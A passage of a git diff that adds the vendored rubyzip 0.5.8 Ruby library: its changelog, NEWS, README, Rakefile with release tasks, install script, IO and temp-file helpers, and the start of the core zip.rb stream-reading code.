+	  ZipCentralDirectoryEntry and ZipCentralDirectory for handling of
+	  corrupt data
+
+2002-01-05 22:21  thomas
+
+	* file1.txt.deflatedData: deflated data extracted from a zip file.
+	  contains file1.txt
+
+2002-01-05 20:05  thomas
+
+	* zip.rb: Changed references to Inflate to Zlib::inflate for
+	  compatibility with ruby-zlib-0.5
+
+2002-01-05 19:28  thomas
+
+	* README.txt, zip.rb, ziptest.rb: [no log message]
+
+2002-01-05 01:52  thomas
+
+	* example.rb, NEWS: [no log message]
+
+2002-01-05 01:37  thomas
+
+	* COPYING, README.txt: [no log message]
+
+2002-01-05 01:31  thomas
+
+	* ziptest.rb: Fixed problem with test file creation
+
+2002-01-05 01:15  thomas
+
+	* README.txt: Updated README.txt
+
+2002-01-05 01:13  thomas
+
+	* zip.rb, ziptest.rb: ZipFile now works
+
+2002-01-04 21:51  thomas
+
+	* testDirectory.bin, zip.rb, ziptest.rb:
+	  ZipCentralDirectoryEntryTest now runs
+
+2002-01-04 18:40  thomas
+
+	* ziptest.rb: Changed
+	  ZIpLocalNEtryTest::test_ReadLocalEntryHeaderOfFirstTestZipEntry
+	  so it works on both unix too. It only worked on windows because
+	  the test made assumptions about the compressed size and crc of an
+	  entry, but that differs depending on the OS because of the CRLF
+	  thing.
+
+2002-01-04 18:37  thomas
+
+	* README.txt: Added note about zlib.c patch
+
+2002-01-02 18:48  thomas
+
+	* README.txt, example.rb, file1.txt, zip.rb, ziptest.rb,
+	  zlib.c.diff: Initial revision
+
+2002-01-02 18:48  thomas
+
+	* README.txt, example.rb, file1.txt, zip.rb, ziptest.rb,
+	  zlib.c.diff: initial
+
diff --git a/vendor/rubyzip-0.5.8/NEWS b/vendor/rubyzip-0.5.8/NEWS
new file mode 100644
index 00000000..37911fdb
--- /dev/null
+++ b/vendor/rubyzip-0.5.8/NEWS
@@ -0,0 +1,110 @@
+= Version 0.5.8
+
+Fixed install script.
+
+= Version 0.5.7
+
+install.rb no longer assumes it is being run from the toplevel source
+dir. Directory structure changed to reflect common ruby library
+project structure. Migrated from RubyUnit to Test::Unit format.  Now
+uses Rake to build source packages and gems and run unit tests.
+
+= Version 0.5.6
+
+Fix for FreeBSD 4.9 which returns Errno::EFBIG instead of
+Errno::EINVAL for some invalid seeks. Fixed 'version needed to
+extract'-field incorrect in local headers.
+
+= Version 0.5.5
+
+Fix for a problem with writing zip files that concerns only ruby 1.8.1.
+
+= Version 0.5.4
+
+Significantly reduced memory footprint when modifying zip files.
+
+= Version 0.5.3
+
+Added optimization to avoid decompressing and recompressing individual
+entries when modifying a zip archive.
+
+= Version 0.5.2
+
+Fixed ZipFile corruption bug in ZipFile class. Added basic unix
+extra-field support.
+
+= Version 0.5.1
+
+Fixed ZipFile.get_output_stream bug.
+
+= Version 0.5.0
+
+List of changes:
+* Ruby 1.8.0 and ruby-zlib 0.6.0 compatibility
+* Changed method names from camelCase to rubys underscore style. 
+* Installs to zip/ subdir instead of directly to site_ruby
+* Added ZipFile.directory and ZipFile.file - each method return an
+object that can be used like Dir and File only for the contents of the
+zip file. 
+* Added sample application zipfind which works like Find.find, only
+Zip::ZipFind.find traverses into zip archives too.
+
+Bug fixes:
+* AbstractInputStream.each_line with non-default separator
+
+
+= Version 0.5.0a
+
+Source reorganized. Added ziprequire, which can be used to load ruby
+modules from a zip file, in a fashion similar to jar files in
+Java. Added gtkRubyzip, another sample application. Implemented
+ZipInputStream.lineno and ZipInputStream.rewind
+
+Bug fixes: 
+
+* Read and write date and time information correctly for zip entries. 
+* Fixed read() using separate buffer, causing mix of gets/readline/read to
+cause problems. 
+
+= Version 0.4.2
+
+Performance optimizations. Test suite runs in half the time.
+
+= Version 0.4.1
+
+Windows compatibility fixes.
+
+= Version 0.4.0
+
+Zip::ZipFile is now mutable and provides a more convenient way of
+modifying zip archives than Zip::ZipOutputStream. Operations for
+adding, extracting, renaming, replacing and removing entries to zip
+archives are now available.
+
+Runs without warnings with -w switch.
+
+Install script install.rb added.
+
+
+= Version 0.3.1
+
+Rudimentary support for writing zip archives.
+
+
+= Version 0.2.2
+
+Fixed and extended unit test suite. Updated to work with ruby/zlib
+0.5. It doesn't work with earlier versions of ruby/zlib.
+
+
+= Version 0.2.0
+
+Class ZipFile added. Where ZipInputStream is used to read the
+individual entries in a zip file, ZipFile reads the central directory
+in the zip archive, so you can get to any entry in the zip archive
+without having to skipping through all the preceeding entries.
+
+
+= Version 0.1.0
+
+First working version of ZipInputStream.
diff --git a/vendor/rubyzip-0.5.8/README b/vendor/rubyzip-0.5.8/README
new file mode 100644
index 00000000..6ed15a92
--- /dev/null
+++ b/vendor/rubyzip-0.5.8/README
@@ -0,0 +1,70 @@
+= rubyzip
+
+rubyzip is a ruby library for reading and writing zip files.
+
+= Install
+
+If you have rubygems you can install rubyzip directly from the gem
+repository
+
+  gem install rubyzip
+
+Otherwise obtain the source (see below) and run
+
+  ruby install.rb
+
+To run the unit tests you need to have test::unit installed
+
+  rake test
+
+
+= Documentation
+
+There is more than one way to access or create a zip archive with
+rubyzip. The basic API is modeled after the classes in
+java.util.zip from the Java SDK. This means there are classes such
+as Zip::ZipInputStream, Zip::ZipOutputStream and
+Zip::ZipFile. Zip::ZipInputStream provides a basic interface for
+iterating through the entries in a zip archive and reading from the
+entries in the same way as from a regular File or IO
+object. ZipOutputStream is the corresponding basic output
+facility. Zip::ZipFile provides a mean for accessing the archives
+central directory and provides means for accessing any entry without
+having to iterate through the archive. Unlike Java's
+java.util.zip.ZipFile rubyzip's Zip::ZipFile is mutable, which means
+it can be used to change zip files as well.
+
+Another way to access a zip archive with rubyzip is to use rubyzip's
+Zip::ZipFileSystem API. Using this API files can be read from and
+written to the archive in much the same manner as ruby's builtin
+classes allows files to be read from and written to the file system.
+
+rubyzip also features the
+zip/ziprequire.rb[link:files/lib/zip/ziprequire_rb.html] module which
+allows ruby to load ruby modules from zip archives.
+
+For details about the specific behaviour of classes and methods refer
+to the test suite. Finally you can generate the rdoc documentation or
+visit http://rubyzip.sourceforge.net.
+
+= License
+
+rubyzip is distributed under the same license as ruby. See
+http://www.ruby-lang.org/en/LICENSE.txt
+
+
+= Website and Project Home
+
+http://rubyzip.sourceforge.net
+
+http://sourceforge.net/projects/rubyzip
+
+== Download (tarballs and gems)
+
+http://sourceforge.net/project/showfiles.php?group_id=43107&package_id=35377
+
+= Authors
+
+Thomas Sondergaard (thomas at sondergaard.cc)
+
+extra-field support contributed by Tatsuki Sugiura (sugi at nemui.org)
diff --git a/vendor/rubyzip-0.5.8/Rakefile b/vendor/rubyzip-0.5.8/Rakefile
new file mode 100644
index 00000000..03b65c2d
--- /dev/null
+++ b/vendor/rubyzip-0.5.8/Rakefile
@@ -0,0 +1,110 @@
+# Rakefile for RubyGems      -*- ruby -*-
+
+require 'rubygems'
+require 'rake/clean'
+require 'rake/testtask'
+require 'rake/packagetask'
+require 'rake/gempackagetask'
+require 'rake/rdoctask'
+require 'rake/contrib/sshpublisher'
+require 'net/ftp'
+
+PKG_NAME = 'rubyzip'
+PKG_VERSION = File.read('lib/zip/zip.rb').match(/\s+VERSION\s*=\s*'(.*)'/)[1]
+
+PKG_FILES = FileList.new
+
+PKG_FILES.add %w{ README NEWS TODO ChangeLog install.rb Rakefile }
+PKG_FILES.add %w{ samples/*.rb }
+PKG_FILES.add %w{ test/*.rb }
+PKG_FILES.add %w{ test/data/* }
+PKG_FILES.exclude "test/data/generated"
+PKG_FILES.add %w{ lib/**/*.rb }
+
+def clobberFromCvsIgnore(path)
+  CLOBBER.add File.readlines(path+'/.cvsignore').map { 
+    |f| File.join(path, f.chomp) 
+  }
+end
+
+clobberFromCvsIgnore '.'
+clobberFromCvsIgnore 'samples'
+clobberFromCvsIgnore 'test'
+clobberFromCvsIgnore 'test/data'
+
+task :default => [:test]
+
+desc "Run unit tests"
+task :test do
+  ruby %{-C test alltests.rb}
+end
+
+# Shortcuts for test targets
+task :ut => [:test]
+
+spec = Gem::Specification.new do |s|
+  s.name = PKG_NAME
+  s.version = PKG_VERSION
+  s.author = "Thomas Sondergaard"
+  s.email = "thomas(at)sondergaard.cc"
+  s.homepage = "http://rubyzip.sourceforge.net/"
+  s.platform = Gem::Platform::RUBY
+  s.summary = "rubyzip is a ruby module for reading and writing zip files"
+  s.files = PKG_FILES.to_a #Dir.glob("{samples,lib,test,docs}/**/*").delete_if {|item| item.include?("CVS") || item.include?("rdoc") || item =~ /~$/ }
+  s.require_path = 'lib'
+  s.autorequire = 'zip/zip'
+end
+
+Rake::GemPackageTask.new(spec) do |pkg|
+  pkg.need_zip = true
+  pkg.need_tar = true
+end
+
+Rake::RDocTask.new do |rd|
+  rd.main = "README"
+  rd.rdoc_files.add %W{ lib/zip/*.rb README NEWS TODO ChangeLog }
+  rd.options << "--title 'rubyzip documentation' --webcvs http://cvs.sourceforge.net/viewcvs.py/rubyzip/rubyzip/"
+#  rd.options << "--all"
+end
+
+desc "Publish documentation"
+task :pdoc => [:rdoc] do
+  Rake::SshFreshDirPublisher.
+       new("thomas@rubyzip.sourceforge.net", "rubyzip/htdocs", "html").upload
+end
+
+desc "Publish package"
+task :ppackage => [:package] do
+  Net::FTP.open("upload.sourceforge.net", 
+                "ftp", 
+                ENV['USER']+"@"+ENV['HOSTNAME']) {
+    |ftpclient|
+    ftpclient.chdir "incoming"
+    Dir['pkg/*.{tgz,zip,gem}'].each {
+      |e|
+      ftpclient.putbinaryfile(e, File.basename(e))
+    }
+  }
+end
+
+desc "Generate the ChangeLog file"
+task :ChangeLog do
+  puts "Updating ChangeLog"
+  system %{cvs2cl}
+end
+
+desc "Make a release"
+task :release => [:tag_release, :pdoc, :ppackage] do
+end
+
+desc "Make a release tag"
+task :tag_release do
+  tag = "release-#{PKG_VERSION.gsub('.','-')}"
+
+  puts "Checking for tag '#{tag}'"
+  if (Regexp.new("^\\s+#{tag}") =~ `cvs log README`)
+    abort "Tag '#{tag}' already exists"
+  end
+  puts "Tagging module with '#{tag}'"
+  system("cvs tag #{tag}")
+end
diff --git a/vendor/rubyzip-0.5.8/TODO b/vendor/rubyzip-0.5.8/TODO
new file mode 100644
index 00000000..457298c6
--- /dev/null
+++ b/vendor/rubyzip-0.5.8/TODO
@@ -0,0 +1,9 @@
+
+* Fix problem with mixing AbstractInputStream::gets and AbstractInputStream::read
+* Implement ZipFsDir.glob
+* ZipFile.checkIntegrity method
+* non-MSDOS permission attributes
+** See mail from Ned Konz to ruby-talk subj. "Re: SV: [ANN] Archive 0.2"
+* Packager version, required unpacker version in zip headers
+** See mail from Ned Konz to ruby-talk subj. "Re: SV: [ANN] Archive 0.2"
+* implement storing attributes and ownership information
diff --git a/vendor/rubyzip-0.5.8/install.rb b/vendor/rubyzip-0.5.8/install.rb
new file mode 100644
index 00000000..405e2b0b
--- /dev/null
+++ b/vendor/rubyzip-0.5.8/install.rb
@@ -0,0 +1,22 @@
+#!/usr/bin/env ruby
+
+$VERBOSE = true
+
+require 'rbconfig'
+require 'find'
+require 'ftools'
+
+include Config
+
+files = %w{ stdrubyext.rb ioextras.rb zip.rb zipfilesystem.rb ziprequire.rb tempfile_bugfixed.rb }
+
+INSTALL_DIR = File.join(CONFIG["sitelibdir"], "zip")
+File.makedirs(INSTALL_DIR)
+
+SOURCE_DIR = File.join(File.dirname($0), "lib/zip")
+
+files.each { 
+  |filename|
+  installPath = File.join(INSTALL_DIR, filename)
+  File::install(File.join(SOURCE_DIR, filename), installPath, 0644, true)
+}
diff --git a/vendor/rubyzip-0.5.8/lib/zip/ioextras.rb b/vendor/rubyzip-0.5.8/lib/zip/ioextras.rb
new file mode 100644
index 00000000..7129e933
--- /dev/null
+++ b/vendor/rubyzip-0.5.8/lib/zip/ioextras.rb
@@ -0,0 +1,117 @@
+module IOExtras  #:nodoc:
+
+  # Implements kind_of? in order to pretend to be an IO object
+  module FakeIO
+    def kind_of?(object)
+      object == IO || super
+    end
+  end
+
+  # Implements many of the convenience methods of IO
+  # such as gets, getc, readline and readlines 
+  # depends on: input_finished?, produce_input and read
+  module AbstractInputStream  
+    include Enumerable
+    include FakeIO
+
+    def initialize
+      super
+      @lineno = 0
+      @outputBuffer = ""
+    end
+
+    attr_accessor :lineno
+
+    def readlines(aSepString = $/)
+      retVal = []
+      each_line(aSepString) { |line| retVal << line }
+      return retVal
+    end
+    
+    def gets(aSepString=$/)
+      @lineno = @lineno.next
+      return read if aSepString == nil
+      aSepString="#{$/}#{$/}" if aSepString == ""
+      
+      bufferIndex=0
+      while ((matchIndex = @outputBuffer.index(aSepString, bufferIndex)) == nil)
+	bufferIndex=@outputBuffer.length
+	if input_finished?
+	  return @outputBuffer.empty? ? nil : flush 
+	end
+	@outputBuffer << produce_input
+      end
+      sepIndex=matchIndex + aSepString.length
+      return @outputBuffer.slice!(0...sepIndex)
+    end
+    
+    def flush
+      retVal=@outputBuffer
+      @outputBuffer=""
+      return retVal
+    end
+    
+    def readline(aSepString = $/)
+      retVal = gets(aSepString)
+      raise EOFError if retVal == nil
+      return retVal
+    end
+    
+    def each_line(aSepString = $/)
+      while true
+	yield readline(aSepString)
+      end
+    rescue EOFError
+    end
+    
+    alias_method :each, :each_line
+  end
+
+
+  # Implements many of the output convenience methods of IO.
+  # relies on <<
+  module AbstractOutputStream 
+    include FakeIO
+
+    def write(data)
+      self << data
+      data.to_s.length
+    end
+
+
+    def print(*params)
+      self << params.to_s << $\.to_s
+    end
+
+    def printf(aFormatString, *params)
+      self << sprintf(aFormatString, *params)
+    end
+
+    def putc(anObject)
+      self << case anObject
+	      when Fixnum then anObject.chr
+	      when String then anObject
+	      else raise TypeError, "putc: Only Fixnum and String supported"
+	      end
+      anObject
+    end
+    
+    def puts(*params)
+      params << "\n" if params.empty?
+      params.flatten.each {
+	|element|
+	val = element.to_s
+	self << val
+	self << "\n" unless val[-1,1] == "\n"
+      }
+    end
+
+  end
+
+end # IOExtras namespace module
+
+
+
+# Copyright (C) 2002-2004 Thomas Sondergaard
+# rubyzip is free software; you can redistribute it and/or
+# modify it under the terms of the ruby license.
diff --git a/vendor/rubyzip-0.5.8/lib/zip/stdrubyext.rb b/vendor/rubyzip-0.5.8/lib/zip/stdrubyext.rb
new file mode 100644
index 00000000..833365db
--- /dev/null
+++ b/vendor/rubyzip-0.5.8/lib/zip/stdrubyext.rb
@@ -0,0 +1,111 @@
+unless Enumerable.method_defined?(:inject)
+  module Enumerable  #:nodoc:all
+    def inject(n = 0)
+      each { |value| n = yield(n, value) }
+      n
+    end
+  end
+end
+
+module Enumerable #:nodoc:all
+  # returns a new array of all the return values not equal to nil
+  # This implementation could be faster
+  def select_map(&aProc)
+    map(&aProc).reject { |e| e.nil? }
+  end
+end
+
+unless Object.method_defined?(:object_id)
+  class Object  #:nodoc:all
+    # Using object_id which is the new thing, so we need
+    # to make that work in versions prior to 1.8.0
+    alias object_id id
+  end
+end
+
+unless File.respond_to?(:read)
+  class File # :nodoc:all
+    # singleton method read does not exist in 1.6.x
+    def self.read(fileName)
+      open(fileName) { |f| f.read }
+    end
+  end
+end
+
+class String  #:nodoc:all
+  def starts_with(aString)
+    rindex(aString, 0) == 0
+  end
+
+  def ends_with(aString)
+    index(aString, -aString.size)
+  end
+
+  def ensure_end(aString)
+    ends_with(aString) ? self : self + aString
+  end
+
+  def lchop
+    slice(1, length)
+  end
+end
+
+class Time  #:nodoc:all
+  
+  #MS-DOS File Date and Time format as used in Interrupt 21H Function 57H:
+  # 
+  # Register CX, the Time:
+  # Bits 0-4  2 second increments (0-29)
+  # Bits 5-10 minutes (0-59)
+  # bits 11-15 hours (0-24)
+  # 
+  # Register DX, the Date:
+  # Bits 0-4 day (1-31)
+  # bits 5-8 month (1-12)
+  # bits 9-15 year (four digit year minus 1980)
+  
+  
+  def to_binary_dos_time
+    (sec/2) +
+      (min  << 5) +
+      (hour << 11)
+  end
+
+  def to_binary_dos_date
+    (day) +
+      (month << 5) +
+      ((year - 1980) << 9)
+  end
+
+  # Dos time is only stored with two seconds accuracy
+  def dos_equals(other)
+    to_i/2 == other.to_i/2
+  end
+
+  def self.parse_binary_dos_format(binaryDosDate, binaryDosTime)
+    second = 2 * (       0b11111 & binaryDosTime)
+    minute = (     0b11111100000 & binaryDosTime) >> 5 
+    hour   = (0b1111100000000000 & binaryDosTime) >> 11
+    day    = (           0b11111 & binaryDosDate) 
+    month  = (       0b111100000 & binaryDosDate) >> 5
+    year   = ((0b1111111000000000 & binaryDosDate) >> 9) + 1980
+    begin
+      return Time.local(year, month, day, hour, minute, second)
+    end
+  end
+end
+
+class Module  #:nodoc:all
+  def forward_message(forwarder, *messagesToForward)
+    methodDefs = messagesToForward.map { 
+      |msg| 
+      "def #{msg}; #{forwarder}(:#{msg}); end"
+    }
+    module_eval(methodDefs.join("\n"))
+  end
+end
+
+
+# Copyright (C) 2002, 2003 Thomas Sondergaard
+# rubyzip is free software; you can redistribute it and/or
+# modify it under the terms of the ruby license.
diff --git a/vendor/rubyzip-0.5.8/lib/zip/tempfile_bugfixed.rb b/vendor/rubyzip-0.5.8/lib/zip/tempfile_bugfixed.rb
new file mode 100644
index 00000000..6cf8e0af
--- /dev/null
+++ b/vendor/rubyzip-0.5.8/lib/zip/tempfile_bugfixed.rb
@@ -0,0 +1,195 @@
+#
+# tempfile - manipulates temporary files
+#
+# $Id: tempfile_bugfixed.rb,v 1.2 2005/02/19 20:30:33 thomas Exp $
+#
+
+require 'delegate'
+require 'tmpdir'
+
+module BugFix  #:nodoc:all
+
+# A class for managing temporary files.  This library is written to be
+# thread safe.
+class Tempfile < DelegateClass(File)
+  MAX_TRY = 10
+  @@cleanlist = []
+
+  # Creates a temporary file of mode 0600 in the temporary directory
+  # whose name is basename.pid.n and opens with mode "w+".  A Tempfile
+  # object works just like a File object.
+  #
+  # If tmpdir is omitted, the temporary directory is determined by
+  # Dir::tmpdir provided by 'tmpdir.rb'.
+  # When $SAFE > 0 and the given tmpdir is tainted, it uses
+  # /tmp. (Note that ENV values are tainted by default)
+  def initialize(basename, tmpdir=Dir::tmpdir)
+    if $SAFE > 0 and tmpdir.tainted?
+      tmpdir = '/tmp'
+    end
+
+    lock = nil
+    n = failure = 0
+    
+    begin
+      Thread.critical = true
+
+      begin
+	tmpname = sprintf('%s/%s%d.%d', tmpdir, basename, $$, n)
+	lock = tmpname + '.lock'
+	n += 1
+      end while @@cleanlist.include?(tmpname) or
+	File.exist?(lock) or File.exist?(tmpname)
+
+      Dir.mkdir(lock)
+    rescue
+      failure += 1
+      retry if failure < MAX_TRY
+      raise "cannot generate tempfile `%s'" % tmpname
+    ensure
+      Thread.critical = false
+    end
+
+    @data = [tmpname]
+    @clean_proc = Tempfile.callback(@data)
+    ObjectSpace.define_finalizer(self, @clean_proc)
+
+    @tmpfile = File.open(tmpname, File::RDWR|File::CREAT|File::EXCL, 0600)
+    @tmpname = tmpname
+    @@cleanlist << @tmpname
+    @data[1] = @tmpfile
+    @data[2] = @@cleanlist
+
+    super(@tmpfile)
+
+    # Now we have all the File/IO methods defined, you must not
+    # carelessly put bare puts(), etc. after this.
+
+    Dir.rmdir(lock)
+  end
+
+  # Opens or reopens the file with mode "r+".
+  def open
+    @tmpfile.close if @tmpfile
+    @tmpfile = File.open(@tmpname, 'r+')
+    @data[1] = @tmpfile
+    __setobj__(@tmpfile)
+  end
+
+  def _close	# :nodoc:
+    @tmpfile.close if @tmpfile
+    @data[1] = @tmpfile = nil
+  end    
+  protected :_close
+
+  # Closes the file.  If the optional flag is true, unlinks the file
+  # after closing.
+  #
+  # If you don't explicitly unlink the temporary file, the removal
+  # will be delayed until the object is finalized.
+  def close(unlink_now=false)
+    if unlink_now
+      close!
+    else
+      _close
+    end
+  end
+
+  # Closes and unlinks the file.
+  def close!
+    _close
+    @clean_proc.call
+    ObjectSpace.undefine_finalizer(self)
+  end
+
+  # Unlinks the file.  On UNIX-like systems, it is often a good idea
+  # to unlink a temporary file immediately after creating and opening
+  # it, because it leaves other programs zero chance to access the
+  # file.
+  def unlink
+    # keep this order for thread safeness
+    File.unlink(@tmpname) if File.exist?(@tmpname)
+    @@cleanlist.delete(@tmpname) if @@cleanlist
+  end
+  alias delete unlink
+
+  if RUBY_VERSION > '1.8.0'
+    def __setobj__(obj)
+      @_dc_obj = obj
+    end
+  else
+    def __setobj__(obj)
+      @obj = obj
+    end
+  end
+
+  # Returns the full path name of the temporary file.
+  def path
+    @tmpname
+  end
+
+  # Returns the size of the temporary file.  As a side effect, the IO
+  # buffer is flushed before determining the size.
+  def size
+    if @tmpfile
+      @tmpfile.flush
+      @tmpfile.stat.size
+    else
+      0
+    end
+  end
+  alias length size
+
+  class << self
+    def callback(data)	# :nodoc:
+      pid = $$
+      lambda{
+	if pid == $$ 
+	  path, tmpfile, cleanlist = *data
+
+	  print "removing ", path, "..." if $DEBUG
+
+	  tmpfile.close if tmpfile
+
+	  # keep this order for thread safeness
+	  File.unlink(path) if File.exist?(path)
+	  cleanlist.delete(path) if cleanlist
+
+	  print "done\n" if $DEBUG
+	end
+      }
+    end
+
+    # If no block is given, this is a synonym for new().
+    #
+    # If a block is given, it will be passed tempfile as an argument,
+    # and the tempfile will automatically be closed when the block
+    # terminates.  In this case, open() returns nil.
+    def open(*args)
+      tempfile = new(*args)
+
+      if block_given?
+	begin
+	  yield(tempfile)
+	ensure
+	  tempfile.close
+	end
+
+	nil
+      else
+	tempfile
+      end
+    end
+  end
+end
+
+end # module BugFix
+if __FILE__ == $0
+#  $DEBUG = true
+  f = Tempfile.new("foo")
+  f.print("foo\n")
+  f.close
+  f.open
+  p f.gets # => "foo\n"
+  f.close!
+end
diff --git a/vendor/rubyzip-0.5.8/lib/zip/zip.rb b/vendor/rubyzip-0.5.8/lib/zip/zip.rb
new file mode 100644
index 00000000..57c0b4fa
--- /dev/null
+++ b/vendor/rubyzip-0.5.8/lib/zip/zip.rb
@@ -0,0 +1,1543 @@
+require 'delegate'
+require 'singleton'
+require 'tempfile'
+require 'ftools'
+require 'zlib'
+require 'zip/stdrubyext'
+require 'zip/ioextras'
+
+if Tempfile.superclass == SimpleDelegator
+  require 'zip/tempfile_bugfixed'
+  Tempfile = BugFix::Tempfile
+end
+
+module Zlib  #:nodoc:all
+  if ! const_defined? :MAX_WBITS
+    MAX_WBITS = Zlib::Deflate.MAX_WBITS
+  end
+end
+
+module Zip
+
+  VERSION = '0.5.8'
+
+  RUBY_MINOR_VERSION = RUBY_VERSION.split(".")[1].to_i
+
+  # Ruby 1.7.x compatibility
+  # In ruby 1.6.x and 1.8.0 reading from an empty stream returns 
+  # an empty string the first time and then nil.
+  #  not so in 1.7.x
+  EMPTY_FILE_RETURNS_EMPTY_STRING_FIRST = RUBY_MINOR_VERSION != 7
+
+  # ZipInputStream is the basic class for reading zip entries in a 
+  # zip file. It is possible to create a ZipInputStream object directly, 
+  # passing the zip file name to the constructor, but more often than not 
+  # the ZipInputStream will be obtained from a ZipFile (perhaps using the 
+  # ZipFileSystem interface) object for a particular entry in the zip 
+  # archive.
+  #
+  # A ZipInputStream inherits IOExtras::AbstractInputStream in order
+  # to provide an IO-like interface for reading from a single zip 
+  # entry. Beyond methods for mimicking an IO-object it contains 
+  # the method get_next_entry for iterating through the entries of 
+  # an archive. get_next_entry returns a ZipEntry object that describes
+  # the zip entry the ZipInputStream is currently reading from.
+  #
+  # Example that creates a zip archive with ZipOutputStream and reads it 
+  # back again with a ZipInputStream.
+  #
+  #   require 'zip/zip'
+  #   
+  #   Zip::ZipOutputStream::open("my.zip") { 
+  #     |io|
+  #   
+  #     io.put_next_entry("first_entry.txt")
+  #     io.write "Hello world!"
+  #   
+  #     io.put_next_entry("adir/first_entry.txt")
+  #     io.write "Hello again!"
+  #   }
+  #
+  #   
+  #   Zip::ZipInputStream::open("my.zip") {
+  #     |io|
+  #   
+  #     while (entry = io.get_next_entry)
+  #       puts "Contents of #{entry.name}: '#{io.read}'"
+  #     end
+  #   }
+  #
+  # java.util.zip.ZipInputStream is the original inspiration for this 
+  # class.
+
+  class ZipInputStream 
+    include IOExtras::AbstractInputStream
+
+    # Opens the indicated zip file. An exception is thrown
+    # if the specified offset in the specified filename is
+    # not a local zip entry header.
+    def initialize(filename, offset = 0)
+      super()
+      @archiveIO = File.open(filename, "rb")
+      @archiveIO.seek(offset, IO::SEEK_SET)
+      @decompressor = NullDecompressor.instance
+      @currentEntry = nil
+    end
+    
+    def close
+      @archiveIO.close
+    end
+
+    # Same as #initialize but if a block is passed the opened
+    # stream is passed to the block and closed when the block
+    # returns.    
+    def ZipInputStream.open(filename)
+      return new(filename) unless block_given?
+      
+      zio = new(filename)
+      yield zio
+    ensure
+      zio.close if zio
+    end
+
+    # Returns a ZipEntry object. It is necessary to call this
+    # method on a newly created ZipInputStream before reading from 
+    # the first entry in the archive. Returns nil when there are 
+    # no more entries.
+    def get_next_entry
+      @archiveIO.seek(@currentEntry.next_header_offset, 
+		      IO::SEEK_SET) if @currentEntry
+      open_entry
+    end
+
+    # Rewinds the stream to the beginning of the current entry
+    def rewind
+      return if @currentEntry.nil?
+      @lineno = 0
+      @archiveIO.seek(@currentEntry.localHeaderOffset, 
+		      IO::SEEK_SET)
+      open_entry
+    end
+
+    # Modeled after IO.read
+    def read(numberOfBytes = nil)
+      @decompressor.read(numberOfBytes)
+    end
+
+    protected
+
+    def open_entry
+      @currentEntry = ZipEntry.read_local_entry(@archiveIO)
+      if (@currentEntry == nil) 
+	@decompressor = NullDecompressor.instance
+      elsif @currentEntry.compression_method == ZipEntry::STORED
+	@decompressor = PassThruDecompressor.new(@archiveIO, 
+						 @currentEntry.size)
+      elsif @currentEntry.compression_method == ZipEntry::DEFLATED
+	@decompressor = Inflater.new(@archiveIO)
+      else
+	raise ZipCompressionMethodError,
+	  "Unsupported compression method #{@currentEntry.compression_method}"
+      end
+      flush
+      return @currentEntry
+    end
+
+    def produce_input
+      @decompressor.produce_input
+    end
+    
+    def input_finished?
+      @decompressor.input_finished?
+    end
+  end
+  
+  
+  
+  class Decompressor  #:nodoc:all
+    CHUNK_SIZE=32768
+    def initialize(inputStream)
+      super()
+      @inputStream=inputStream
+    end
+  end
+  
+  class Inflater < Decompressor  #:nodoc:all
+    def initialize(inputStream)
+      super
+      @zlibInflater = Zlib::Inflate.new(-Zlib::MAX_WBITS)
+      @outputBuffer=""
+      @hasReturnedEmptyString = ! EMPTY_FILE_RETURNS_EMPTY_STRING_FIRST
+    end
+    
+    def read(numberOfBytes = nil)
+      readEverything = (numberOfBytes == nil)
+      while (readEverything || @outputBuffer.length < numberOfBytes)
+	break if internal_input_finished?
+	@outputBuffer << internal_produce_input
+      end
+      return value_when_finished if @outputBuffer.length==0 && input_finished?
+      endIndex= numberOfBytes==nil ? @outputBuffer.length : numberOfBytes
+      return @outputBuffer.slice!(0...endIndex)
+    end
+    
+    def produce_input
+      if (@outputBuffer.empty?)
+	return internal_produce_input
+      else
+	return @outputBuffer.slice!(0...(@outputBuffer.length))
+      end
+    end
+
+    # to be used with produce_input, not read (as read may still have more data cached)
+    def input_finished?
+      @outputBuffer.empty? && internal_input_finished?
+    end
+
+    private
+
+    def internal_produce_input
+      @zlibInflater.inflate(@inputStream.read(Decompressor::CHUNK_SIZE))
+    end
+
+    def internal_input_finished?
+      @zlibInflater.finished?
+    end
+
+    # TODO: Specialize to handle different behaviour in ruby > 1.7.0 ?
+    def value_when_finished   # mimic behaviour of ruby File object.
+      return nil if @hasReturnedEmptyString
+      @hasReturnedEmptyString=true
+      return ""
+    end
+  end
+  
+  class PassThruDecompressor < Decompressor  #:nodoc:all
+    def initialize(inputStream, charsToRead)
+      super inputStream
+      @charsToRead = charsToRead
+      @readSoFar = 0
+      @hasReturnedEmptyString = ! EMPTY_FILE_RETURNS_EMPTY_STRING_FIRST
+    end
+    
+    # TODO: Specialize to handle different behaviour in ruby > 1.7.0 ?
+    def read(numberOfBytes = nil)
+      if input_finished?
+	hasReturnedEmptyStringVal=@hasReturnedEmptyString
+	@hasReturnedEmptyString=true
+	return "" unless hasReturnedEmptyStringVal
+	return nil
+      end
+      
+      if (numberOfBytes == nil || @readSoFar+numberOfBytes > @charsToRead)
+	numberOfBytes = @charsToRead-@readSoFar
+      end
+      @readSoFar += numberOfBytes
+      @inputStream.read(numberOfBytes)
+    end
+    
+    def produce_input
+      read(Decompressor::CHUNK_SIZE)
+    end
+    
+    def input_finished?
+      (@readSoFar >= @charsToRead)
+    end
+  end
+  
+  class NullDecompressor  #:nodoc:all
+    include Singleton
+    def read(numberOfBytes = nil)
+      nil
+    end
+    
+    def produce_input
+      nil
+    end
+    
+    def input_finished?
+      true
+    end
+  end
+  
+  class NullInputStream < NullDecompressor  #:nodoc:all
+    include IOExtras::AbstractInputStream
+  end
+  
+  class ZipEntry
+    STORED = 0
+    DEFLATED = 8
+    
+    attr_accessor  :comment, :compressed_size, :crc, :extra, :compression_method, 
+      :name, :size, :localHeaderOffset, :zipfile, :fstype, :externalFileAttributes
+    
+    def initialize(zipfile = "", name = "", comment = "", extra = "", 
+                   compressed_size = 0, crc = 0, 
+		   compression_method = ZipEntry::DEFLATED, size = 0,
+		   time  = Time.now)
+      super()
+      if name.starts_with("/")
+	raise ZipEntryNameError, "Illegal ZipEntry name '#{name}', name must not start with /" 
+      end
+      @localHeaderOffset = 0
+      @internalFileAttributes = 1
+      @externalFileAttributes = 0
+      @version = 52 # this library's version
+      @fstype  = 0  # default is fat
+      @zipfile, @comment, @compressed_size, @crc, @extra, @compression_method, 
+	@name, @size = zipfile, comment, compressed_size, crc, 
+	extra, compression_method, name, size
+      @time = time
+      unless ZipExtraField === @extra
+        @extra = ZipExtraField.new(@extra.to_s)
+      end
+    end
+
+    def time
+      if @extra["UniversalTime"]
+        @extra["UniversalTime"].mtime
+      else
